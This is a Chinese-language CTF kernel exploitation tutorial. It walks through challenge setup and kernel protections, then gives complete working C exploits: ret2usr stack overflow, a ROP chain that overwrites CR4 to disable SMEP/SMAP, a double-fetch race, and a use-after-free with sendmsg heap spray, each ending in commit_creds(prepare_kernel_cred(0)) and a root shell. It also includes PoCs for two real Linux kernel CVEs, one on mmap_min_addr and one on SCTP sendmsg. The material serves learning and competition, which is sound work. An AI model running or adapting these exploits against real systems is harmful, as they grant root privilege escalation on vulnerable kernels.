控制并与硬件进行交互
提供 application 能运行的环境
Intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0
, Ring 1
, Ring 2
, Ring 3
。
Ring0
只给 OS 使用,Ring 3
所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
Ps: 在Ring0
下,可以修改用户的权限(也就是提权)
int 0x80
syscall
ioctl
外设产生中断
...
保存用户态的各个寄存器,以及执行到代码的位置
执行swapgs
(64位)和 iret
指令,当然前提是栈上需要布置好恢复的寄存器的值
寻找kernel 中内核程序的漏洞,之后调用该程序进入内核态,利用漏洞进行提权,提完权后,返回用户态
返回用户态时候的栈布局:
Ps:在返回用户态时,恢复完上述寄存器环境后,还需执行swapgs
再iretq
,其中swapgs
用于置换GS
寄存器和KernelGSbase MSR
寄存器的内容(32位系统中不需要swapgs
,直接iret
返回即可)
linux-4.20
源码下载:https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.20.tar.gz
通常CTF比赛中KERNEL PWN
不会直接让选手PWN掉内核,通常漏洞会存在于动态装载模块中(LKMs
, Loadable Kernel Modules
),包括:
驱动程序(Device drivers
)
内核扩展模块 (modules
)
一般来说,题目会给出如下四个文件:
其中,
baby.ko
就是有bug的程序(出题人编译的驱动),可以用IDA
打开
bzImage
是打包的内核,用于启动虚拟机与寻找gadget
Initramfs.cpio
文件系统
startvm.sh
启动脚本
有时还会有vmlinux
文件,这是未打包的内核,一般含有符号信息,可以用于加载到gdb
中方便调试(gdb vmlinux
),当寻找gadget
时,使用objdump -d vmlinux > gadget
然后直接用编辑器搜索会比ROPgadget
或ropper
快很多。
没有vmlinux
的情况下,可以使用linux
源码目录下的scripts/extract-vmlinux
来解压bzImage
得到vmlinux
(extract-vmlinux bzImage > vmlinux
),当然此时的vmlinux
是不包含调试信息的。
还有可能附件包中没有驱动程序*.ko
,此时可能需要我们自己到文件系统中把它提取出来,这里给出ext4
,cpio
两种文件系统的提取方法:
ext4
:将文件系统挂载到已有目录。
mkdir ./rootfs
sudo mount rootfs.img ./rootfs
查看根目录的init
或etc/init.d/rcS
,这是系统的启动脚本
可以看到加载驱动的路径,这时可以把驱动拷出来
卸载文件系统,sudo umount rootfs
cpio
:解压文件系统、重打包
mkdir extracted; cd extracted
cpio -i --no-absolute-filenames -F ../rootfs.cpio
rcS
文件,查看加载的驱动,拿出来find . | cpio -o --format=newc > ../rootfs.cpio
startvm.sh
用于启动QEMU
虚拟机,如下:
#!/bin/bash stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null
可以在最后加上-gdb tcp::1234 -S
使虚拟机启动时强制中断,等待调试器连接,这里最好用ubuntu 18.04
,16.04
有可能出现玄学问题,至少我这里是这样
其中主要有以下几种保护机制:
KPTI
:Kernel PageTable Isolation,内核页表隔离KASLR
:Kernel Address space layout randomization,内核地址空间布局随机化SMEP
:Supervisor Mode Execution Prevention,管理模式执行保护SMAP
:Supervisor Mode Access Prevention,管理模式访问保护Stack Protector
:Stack Protector又名canary,stack cookiekptr_restrict
:允许查看内核函数地址dmesg_restrict
:允许查看printk
函数输出,用dmesg
命令来查看MMAP_MIN_ADDR
:不允许申请NULL
地址 mmap(0,....)
KASLR
、Stack Protector
与用户态下的ASLR
、canary
保护机制相似。SMEP
下,内核态运行时,不允许执行用户态代码;SMAP
下,内核态不允许访问用户态数据。SMEP
与SMAP
的开关都通过cr4
寄存器来判断,因此可通过修改cr4
的值来实现绕过SMEP
,SMAP
保护。
可以通过cat /proc/cpuinfo
来查看开启了哪些保护:
KASLR
、SMEP
、SMAP
可通过修改startvm.sh
来关闭;
dmesg_restrict
、dmesg_restrict
可在rcS
文件中修改:
MMAP_MIN_ADDR
是linux
源码中定义的宏,可重新编译内核进行修改(.config
文件中),默认为4k
一般来说,不管是什么漏洞,大多数利用都需要一些固定的信息,比如驱动加载基址、prepare_kernel_cred
地址、commit_creds
地址(KASLR
开启时通过偏移计算,内核基址为0xffffffff81000000
),因此我们需要以root
权限启动虚拟机,可以在startvm.sh
中把保护全部关掉。
启动的用户权限也是由rcS
文件来控制的,找到setsid
这一行,修改权限为0000
启动后,执行lsmod
可以看到驱动加载基址,要记得先关闭kaslr
,然后记录下来,这可以用gdb
调试时方便计算断点地址,这里也可以看到设备名称为OOB
,路径为/dev/OOB
。
cat /proc/kallsyms | grep "prepare_kernel_cred"
得到prepare_kernel_cred
函数地址
cat /proc/kallsyms | grep "commit_creds"
得到commit_creds
函数地址
当我们写好exp.c
时,需要编译并把它传到本地或远程的QEMU
虚拟机中,但是由于出题人会使用busybox
等精简版的系统,所以我们也不能用常规方法。这里给出一个我自己用的脚本,也可以用于本地调试,就不需要重复挂载、打包等操作了。需要安装muslgcc
(apt install musl-tools
)
from pwn import * #context.update(log_level='debug') HOST = "10.112.100.47" PORT = 1717 USER = "pwn" PW = "pwn" def compile(): log.info("Compile") os.system("musl-gcc -w -s -static -o3 oob.c -o exp") def exec_cmd(cmd): r.sendline(cmd) r.recvuntil("$ ") def upload(): p = log.progress("Upload") with open("exp", "rb") as f: data = f.read() encoded = base64.b64encode(data) r.recvuntil("$ ") for i in range(0, len(encoded), 300): p.status("%d / %d" % (i, len(encoded))) exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300])) exec_cmd("cat benc | base64 -d > bout") exec_cmd("chmod +x bout") p.success() def exploit(r): compile() upload() r.interactive() return if __name__ == "__main__": if len(sys.argv) > 1: session = ssh(USER, HOST, PORT, PW) r = session.run("/bin/sh") exploit(r) else: r = process("./startvm.sh") print util.proc.pidof(r) pause() exploit(r)
第一道例题,程序很简单,只有一个函数
init_module
中注册了名叫baby
的驱动
sub_0
函数存在栈溢出,将0x100
的用户数据拷贝到内核栈上,高度只有0x88
这里实际上缓冲区距离rbp
是0x80
,也没有保护,不用泄露,不用绕过,直接ret2usr
exp.c
:
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it unsigned long user_cs, user_ss, user_rflags, user_sp; void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void templine() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void shell() { printf("root\n"); system("/bin/sh"); exit(0); } int main() { void *buf[0x100]; save_stat(); int fd = open("/dev/baby", 0); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } for(int i=0; i<0x100; i++) { buf[i] = &templine; } ioctl(fd, 0x6001, buf); //getchar(); //getchar(); }
先看看startvm.sh
,这次多了SMEP
、SMAP
、KASLR
,所以我们需要考虑先泄露内核地址(这里还是把kaslr
关掉方便调试
主要函数也只有一个:
可以看到提供了两个功能,可以从用户内存拷贝数据到内核栈,也可以将内核栈的数据提供给用户。那就可以通过内核栈数据进行内核基址的泄露,随后使用gadget
修改cr4
来绕过smep
、smap
首先可以将上传exp
的脚本设置为debug
模式,方便进行泄露数据的计算。
context.update(log_level='debug')
在用户态设置缓冲区,然后使用0x6002
的泄露功能,write
出来
ioctl(fd, 0x6002, buf); write(1, buf, 0x200);
效果如下:
因为此时没有开启KASLR
,所以我们可以寻找0xffffffff80000000
附近的内核地址进行基址的泄露。
比如偏移为0x48
的0xffffffff8129b078
。
这里还要泄露canary
(见上图v6
变量),一般来说,canary
会在rbp-8
的位置,视具体情况可能有些偏移,且canary
是一个高字节为\x00
的随机字符串,还是比较容易找的。
然后我们就可以寻找cr4
寄存器相关的gadget
进行smap
、smep
的绕过
因为题目没有提供vmlinux
,所以使用extract-vmlinux
进行解压
~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux
然后用objdump
提取gadget
objdump -d ./vmlinux > gadget
找合适的rop
链,这里可以先看可控制cr4
的寄存器,再找相关的pop
链
然后就可以修改cr4
为0x6f0
,后面就是常规操作了
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it unsigned long long user_cs, user_ss, user_rflags, user_sp; unsigned long long base_addr, canary; void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void templine() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void shell() { printf("root\n"); system("/bin/sh"); exit(0); } unsigned long long int calc(unsigned long long int addr) { return addr-0xffffffff81000000+base_addr; } int main() { long long buf[0x200]; save_stat(); int fd = open("/dev/baby", 0); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } // for(int i=0; i<0x100; i++) { // buf[i] = &templine; // } ioctl(fd, 0x6002, buf); // write(1, buf, 0x200); base_addr = buf[9] - 0x29b078; canary = buf[13]; printf("base:0x%llx, canary:0x%llx\n", base_addr,canary); prepare_kernel_cred = calc(0xffffffff810b9d80); commit_creds = calc(0xffffffff810b99d0); int i = 18; buf[i++] = calc(0xffffffff815033ec); // pop rdi; ret; buf[i++] = 0x6f0; buf[i++] = calc(0xffffffff81020300); // mov cr4,rdi; pop rbp; ret; buf[i++] = 0; buf[i++] = &templine; ioctl(fd, 0x6001, buf); //getchar(); //getchar(); }
先看startvm.sh
开了两个核,这时就要注意会不会是double fetch
漏洞,因为一般的题都只会用到一个核。
这里要注意一点,就是最好关掉kvm加速(-enable-kvm
),因为调试的时候如果开启了kvm
,驱动的基址就和之前我们通过lsmod
查到的不一样,导致断点断不下来等玄学现象,并且这个操作也不会影响漏洞的利用。
看下驱动程序:
__int64 __fastcall baby_ioctl(__int64 a1, __int64 choice) { FLAG *s1; // rdx __int64 v3; // rcx __int64 result; // rax unsigned __int64 v5; // kr10_8 int i; // [rsp-5Ch] [rbp-5Ch] FLAG *s; // [rsp-58h] [rbp-58h] _fentry__(a1, choice); s = s1; if ( choice == 0x6666 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag, s1, v3); result = 0LL; } else if ( choice == 0x1337 && !_chk_range_not_ok(s1, 16LL, *(__readgsqword(¤t_task) + 0x1358)) && !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(¤t_task) + 0x1358)) && s->len == strlen(flag) ) // a4 { for ( i = 0; ; ++i ) { v5 = strlen(flag) + 1; if ( i >= v5 - 1 ) break; if ( s->flag[i] != flag[i] ) return 22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag, flag, ~v5); result = 0LL; } else { result = 14LL; } return result; }
_chk_range_not_ok
函数,检查了一、二参数的和是不是小于第三个,且无符号整数和不能产生进位(也就是溢出),这里的__CFADD__
运算就是Generate carry flag for (x+y)
,使加法运算产生CF
标志:
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3) { bool v3; // cf unsigned __int64 v4; // rdi bool result; // al v3 = __CFADD__(a2, a1); v4 = a2 + a1; if ( v3 ) result = 1; else result = a3 < v4; return result; }
实际上,我们传进这个函数的a3
就是*(__readgsqword(¤t_task) + 0x1358)
,这个数的值通过打断点可以知道,就是用户空间的最高页基址(0x7ffffffff000
),所以实际上它所实现的功能就是我们不能传入内核地址,也就是我们不能直接传入程序数据段中的flag
地址来实现判断条件的绕过。
.data:0000000000000480 public flag
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480 ; baby_ioctl+DB↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488 align 20h
也就是这部分的判断条件:
else if ( choice == 0x1337 && !_chk_range_not_ok(s1, 16LL, *(__readgsqword(¤t_task) + 0x1358)) && !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(¤t_task) + 0x1358)) && s->len == strlen(flag) ) // a4
但是只要我们通过了这段验证,后面的逐字节校验就没有再检查是否为内核地址
for ( i = 0; ; ++i ) { v5 = strlen(flag) + 1; if ( i >= v5 - 1 ) break; if ( s->flag[i] != flag[i] ) return 22LL; }
所以我们可以通过创建两个线程,其中主线程的flag参数传入一个用户空间的地址,但是要满足s->len == strlen(flag)
的判断条件,这个长度我们可以用返回值是否为22来爆破。
此时主线程就会在逐字节校验过程中失败并返回,而我们如果能在这两段验证逻辑之间修改flag的值为目标flag的内核地址,就可以完成所有验证实现flag的打印。
需要注意的是,我们子线程,即修改地址的线程要在主线程进入之前就开始运行,这样才有可能在窗口期修改变量。
以下为完整exp
,可能需要多试几次才能成功:
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it int main_thread_out = 0; struct msg { char *buf; int len; }m; void change_addr(unsigned long long addr) { while (main_thread_out == 0) { m.buf = addr; puts("waiting..."); } puts("out..."); } int main() { void *buf[0x1000]; int fd = open("/dev/baby", 0); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } m.len = 33; m.buf = buf; ioctl(fd, 0x6666, m); system("dmesg > /tmp/aaa.txt"); int tmp_fd = open("/tmp/aaa.txt", 0); lseek(tmp_fd, -0x100, SEEK_END); read(tmp_fd, buf, 0x100); char *flag_addr = strstr(buf,"Your flag is at "); if (flag_addr == 0){ printf("[-]Not found addr"); exit(-1); } close(tmp_fd); flag_addr += strlen("Your flag is at "); unsigned long long addr = strtoull(flag_addr, flag_addr+16, 16); printf("flag_addr:%p\n",addr); // int ret = ioctl(fd, 0x1337, &m); // printf("ret:%d\n", ret); pthread_t t; pthread_create(&t, 0, change_addr, addr); // sleep(1); puts("main_thread in..."); for(int i=0; i<0x1000; i++) { m.buf = buf; ioctl(fd, 0x1337, &m); } main_thread_out = 1; system("dmesg > /tmp/bbb.txt"); tmp_fd = open("/tmp/bbb.txt", 0); if (tmp_fd < 0) { printf("[-] bad open dmesg\n"); exit(-1); } lseek(tmp_fd, -0x100, SEEK_END); read(tmp_fd, buf, 0x100); flag_addr = strstr(buf,"So here is it "); if (flag_addr == 0){ printf("[-]Not found flag"); exit(-1); } close(tmp_fd); flag_addr += strlen("So here is it "); flag_addr[m.len] = 0; printf("%s\n",flag_addr); return 0; // ioctl(fd, 0x6001, buf); //getchar(); //getchar(); }
嗯,依旧只有一个函数。。
__int64 __fastcall sub_0(__int64 a1, __int64 a2) { __int64 v2; // rdx __int64 a3; // r13 BUF *buf; // rbx __int64 i; // rax __int64 v7; // r12 CHUNK *chunk_1; // rax char *call_arg; // rdx __int64 v10; // rax CHUNK *chunk; // rsi __int64 idx; // rax __int64 ptr; // rdi _fentry__(a1, a2); a3 = v2; buf = kmem_cache_alloc_trace(kmalloc_caches[4], 0x6000C0LL, 0x10LL); copy_from_user(buf, a3, 16LL); switch ( a2 ) { case 0x6008: // delete idx = buf->idx; if ( idx <= 0x1F ) { ptr = pool[idx]; if ( ptr ) kfree(ptr); // no clean } break; case 0x6009: // call v10 = buf->idx; if ( v10 <= 0x1F ) { chunk = pool[v10]; if ( chunk ) _x86_indirect_thunk_rax(chunk->arg1, chunk, 0x48LL);// call rax } break; case 0x6007: // add i = 0LL; while ( 1 ) { v7 = i; if ( !pool[i] ) break; if ( ++i == 0x20 ) goto LABEL_4; } chunk_1 = kmem_cache_alloc_trace(kmalloc_caches[1], 0x6000C0LL, 72LL); call_arg = buf->data; pool[v7] = chunk_1; chunk_1->call_func = ©_to_user; // call func chunk_1->arg1 = call_arg; // call args break; } LABEL_4: kfree(buf); return 0LL; }
保护全开
程序的逻辑基本上是,我们有一个chunk池,可以进行创建、销毁、调用的功能,调用的默认函数是copy_to_user
,参数是我们创建堆块的时候传入的,我们可以用这个copy_to_user
来泄露内核地址,方法就和level2是一样的。
但是可以看到,程序在销毁堆块的时候并没有将指针置空,这样就有一个UAF
漏洞;并且这个调用的过程的函数地址是从堆块中取的,所以如果我们能通过堆喷将设计好的数据填入这个free
掉的堆块,就可以实现任意地址的调用。
这里是使用socket
连接中的sendmsg
进行堆喷,chunk的大小可以通过msg
结构体中的msg_controllen
来进行调整(最小为44字节),这里可以参考:
https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
因此利用的思路就是,两次UAF,两次堆喷
gadgets
修改CR4
,关闭smap
和smep
保护commit_creds(prepare_kernel_cred(0))
)下面是完整exp
:
#define _GNU_SOURCE #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdlib.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <stdio.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it unsigned long long user_cs, user_ss, user_rflags, user_sp; unsigned long long base_addr, canary; int fd; int BUFF_SIZE = 96; void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void templine() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void shell() { printf("root\n"); system("/bin/sh"); exit(0); } unsigned long long int calc(unsigned long long int addr) { return addr-0xffffffff81000000+base_addr; } // ------------------------------------------------------------ struct sBuf { char *data; int index; } buf; void add(char *data) { buf.data = data; ioctl(fd, 0x6007, &buf); } void delete(int index) { buf.index = index; ioctl(fd, 0x6008, &buf); } void call(int index) { buf.index = index; ioctl(fd, 0x6009, &buf); } int main() { save_stat(); fd = open("/dev/baby", 0); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } unsigned long long *s[0x1000]; void *arg; s[6] = arg; add(s); delete(0); call(0); // write(1, s, 0x200); base_addr = (void*)s[8] - 0x4d4680; printf("base:0x%llx\n", base_addr); prepare_kernel_cred = calc(0xffffffff810b9d80); commit_creds = calc(0xffffffff810b99d0); // 开始建立socket 和 msg char buff[BUFF_SIZE]; struct msghdr msg = {0}; struct sockaddr_in addr = {0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); memset(buff, 0x43, sizeof buff); *((unsigned long long*)(&buff[0x38])) = 0x6f0; *((unsigned long long*)(&buff[0x40])) = calc(0xffffffff81070790); // push rbp; mov rbp,rsp; mov cr4,rdi; pop rbp; ret; // gadget has to save rbp then pop addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666); /* This is the data that will overwrite the vulnerable object in the heap */ msg.msg_control = buff; /* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */ msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size msg.msg_name = (caddr_t)&addr; msg.msg_namelen = sizeof(addr); for(int i = 0; i < 0x10000; i++) { sendmsg(sockfd, &msg, 0); } call(0); add(s); delete(1); *((unsigned long long*)(&buff[0x40])) = &templine; for(int i = 0; i < 0x10000; i++) { sendmsg(sockfd, &msg, 0); } call(1); // (unsigned long long*)&buff[0x40] = 0xffffffff81087c99; // pop rdi; pop rbx; ret; }
这是XMan入营赛的一道题,应该是出题人用其它题改的,改的很简单,直接ret2usr
,开了smap
, smep
没有kaslr
,可以在这里下载:
https://github.com/t3ls/pwn/blob/master/XMAN2019/babykernel/4771022fa9a54407bc7a56f61db435d3.zip
有用的只有write
函数:
__int64 __fastcall mychrdev_write(int a1, char *a2, __int64 a3) { char v4; // [rsp+0h] [rbp-50h] if ( ((__int64 (__fastcall *)(char *, char *, __int64))copy_from_user)(&v4, a2, a3) ) return -14LL; printk("You writed!"); return 1LL; }
exp
如下:
#define _GNU_SOURCE #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdlib.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <stdio.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810779b0; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81077620; // TODO:change it // cat /proc/kallsyms | grep "prepare_kernel_cred" unsigned long long user_cs, user_ss, user_rflags, user_sp; unsigned long long base_addr, canary; int fd; int BUFF_SIZE = 96; void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void templine() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void shell() { printf("root\n"); system("/bin/sh"); exit(0); } unsigned long long int calc(unsigned long long int addr) { return addr-0xffffffff81000000+base_addr; } int main() { save_stat(); fd = open("/dev/mychrdev", 2); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } // void *buf[0x1000]; void *buf[0x1000]; // for (int i=0; i < 0x100; i++) { // buf[i] = &templine; // } int i = 0x58/8; buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret; buf[i++] = 0x6f0; buf[i++] = 0x10; buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret; buf[i++] = 0x6f0; buf[i++] = 0; buf[i++] = 0xffffffff81003cf8; // mov cr4,rax; pop rbp; ret; buf[i++] = 0; buf[i++] = &templine; write(fd, buf, 0x100); }
In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task.
从补丁中我们可以看出,当一块内存具有MAP_GROWSDOWN
标志时,内存不足会向低地址进行扩展,此时跟进调用链会发现调用了expand_downwards
函数,漏洞也就是没有对扩展后的地址进行合理性校验,因此在内核态下对用户空间进行内存扩展时,因为没有address < mmap_min_addr
的判断条件,我们就可以mmap
到NULL
地址,但用户空间是不允许对0地址进行映射的,所以此时就会有提权的风险。
#include <stdio.h> #include <sys/mman.h> #include <err.h> #include <fcntl.h> int main() { unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0); if (addr != 0x10000) err(2,"mmap failed"); int fd = open("/proc/self/mem",O_RDWR); if (fd == -1) err(2,"open mem failed"); char cmd[0x100] = {0}; sprintf(cmd, "su >&%d < /dev/null", fd); while (addr) { addr -= 0x1000; if (lseek(fd, addr, SEEK_SET) == -1) err(2, "lseek failed"); system(cmd); } printf("contents:%s\n",(char *)1); }
这个POC最后打印了1地址的内容,其实就是执行su
命令时的报错信息
效果如下:
In the Linux Kernel before versions 4.20.8 and 4.19.21 a use-after-free error in the "sctp_sendmsg()" function (net/sctp/socket.c) when handling SCTP_SENDALL flag can be exploited to corrupt memory.
根据补丁信息,可以看出漏洞位于sctp_sendmsg
函数的asoc
链表遍历的过程中,sctp_association
是sctp
协议通信中存储相关信息的基础结构体,包含有sendmsg
过程中的地址、端口等信息。而patch的原因写的是避免因链表中的成员被删除时,遍历造成的内存页中断。
我们再来看list_for_each_entry
和list_for_each_entry_safe
的区别
也就是保证了在链表的遍历过程中,如果出现了非法地址,不会再直接赋值到pos
上。
所以CVE描述所写的是UAF漏洞,我觉得写成空指针解引用漏洞要更恰当一点。
POC的编写,基本上就是复制粘贴了sctp
通信的代码,最后调用了sctp_sendmsg
,但是怎么样才能触发这个漏洞呢,我们来看看报错的代码(net/sctp/socket.c
)
可以看到,当遍历到0xd4
这个非法地址时,报错是由sctp_sendmsg_check_sflags
返回的,我们跟进看一下
所以要触发报错,我们要满足sflags & SCTP_SENDALL
以进入遍历函数,和sflags & SCTP_ABORT
来产生报错
通过查询定义,可以发现SCTP_ABORT
为0x4
,SCTP_SENDALL
为0x40
所以可以知道当我们将sflags
置为0x44
时即可引发crash
而sflags
是倒数第四个参数,至此,我们就可以写出POC
#define _GNU_SOURE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> #include <error.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/sctp.h> #include <netinet/in.h> #include <time.h> #include <malloc.h> #define SERVER_PORT 6666 #define SCTP_GET_ASSOC_ID_LIST 29 #define SCTP_RESET_ASSOC 120 #define SCTP_ENABLE_RESET_ASSOC_REQ 0x02 #define SCTP_ENABLE_STREAM_RESET 118 void* client_func(void* arg) { int socket_fd; struct sockaddr_in serverAddr; struct sctp_event_subscribe event_; int s; char *buf = "test"; if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){ perror("client socket"); pthread_exit(0); } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); printf("send data: %s\n",buf); if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0x44,0,0,0)==-1){ perror("client sctp_sendmsg"); goto client_out_; } client_out_: //close(socket_fd); pthread_exit(0); } void* send_recv(int server_sockfd) { int msg_flags; socklen_t len = sizeof(struct sockaddr_in); size_t rd_sz; char readbuf[20]="0"; struct sockaddr_in clientAddr; rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf), (struct sockaddr*)&clientAddr, &len, 0, &msg_flags); if (rd_sz > 0) printf("recv data: %s\n",readbuf); if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0,0,0,0)<0){ perror("SENDALL sendmsg"); } pthread_exit(0); } int main(int argc, char** argv) { int server_sockfd; pthread_t thread; struct sockaddr_in serverAddr; if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){ perror("socket"); return 0; } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){ perror("bind"); goto out_; } listen(server_sockfd,5); if(pthread_create(&thread,NULL,client_func,NULL)){ perror("pthread_create"); goto out_; } send_recv(server_sockfd); out_: close(server_sockfd); return 0; }
通过之前crash
的报错可以看到,asoc
指针遍历到了一个非法地址0xd4
。于是利用思路就是结合前一个0虚拟地址映射漏洞把0xd4
mmap下来,然后可以在发生空指针引用的地址上伪造一个指针;接下来的编写exp,其实就是查看的我们结构体内的可控内存,能否找到一个实现任意地址读写的指针。
首先,我们要保证exp
不会直接崩掉,就得使sctp_make_abort_user
的返回结果不同,使它进到下一个逻辑中(sctp_primitive_ABORT
)
跟进一下sctp_make_abort_user
这个paylen
是我们传进的参数,可以置0让函数正常返回
crash
的问题解决了,下面就是找可控指针,于是我们看一下sctp_primitive_ABORT
的定义:
primitive.c
是通过内联的方式实现的,重点看我框出来的部分,首先state
,ep
都是asoc
的成员变量,都是可控的,然后把它们作为参数调用了sctp_do_sm
,继续跟进
这里就可以看到通过state_fn
直接进行了函数调用,而state_fn
是由net
,event_type
,state
,subtype
决定的,其中event_type
和subtype
是常数,net
是sctp_sendmsg_check_sflags
中的sk
取值而来,sk
是asoc
的成员,可控,之前我们已经得知了state
可控。
所以,所有变量都可控,继续进到sctp_sm_lookup_event
函数
这里需要注意的是,在sctp_primitive_ABORT
里面就已经设置event
为SCTP_EVENT_T_PRIMITIVE
